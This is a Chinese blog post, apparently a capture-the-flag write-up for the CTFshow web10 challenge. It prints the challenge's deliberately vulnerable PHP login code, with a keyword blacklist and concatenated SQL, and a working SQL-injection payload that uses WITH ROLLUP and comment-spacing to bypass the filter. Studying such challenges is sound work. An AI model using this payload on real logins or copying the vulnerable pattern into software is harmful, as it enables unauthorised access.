欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

刷题之旅第30站,CTFshow web10

程序员文章站 2022-05-12 12:30:13
...

感谢ctf show平台提供题目

点击取消按钮,我们下载到了php文件。
刷题之旅第30站,CTFshow web10

<?php
		$flag="";
        function replaceSpecialChar($strParam){
             $regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
             return preg_replace($regex,"",$strParam);
        }
        if (!$con)
        {
            die('Could not connect: ' . mysqli_error());
        }
		if(strlen($username)!=strlen(replaceSpecialChar($username))){
			die("sql inject error");
		}
		if(strlen($password)!=strlen(replaceSpecialChar($password))){
			die("sql inject error");
		}
		$sql="select * from user where username = '$username'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						if($password==$row['password']){
							echo "登陆成功<br>";
							echo $flag;
						}

					 }
			}
    ?>

首先对post的数据进行了/(select|from|where|join|sleep|and|\s|union|,)/i的过滤,然后查询出来的值要和我们post的password相等

此处使用WITH ROLLUP进行绕过,首先学习一下WITH ROLLUP

WITH ROLLUP是对group by的结果进行进一步的汇总然后显示,在group by 列名 with rollup 中,倘若按列名分组后,列的属性值是不相同的,会生成一条分组条件的列为null的一条新的数据。而如果查询结果是唯一的,一会生成一条分组条件所在列为null的数据。

我们就是要通过with rollup使sql语句查询结果为null,然后不输入password使password为null就可以使password==password==row[‘password’]

payload:

'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#

offset后面的值需要尝试才能找到pwd是null的行

刷题之旅第30站,CTFshow web10

参考:
https://blog.csdn.net/zz_Caleb/article/details/104183469

点个赞再走吧。

刷题之旅第30站,CTFshow web10

相关标签: 刷题之旅100站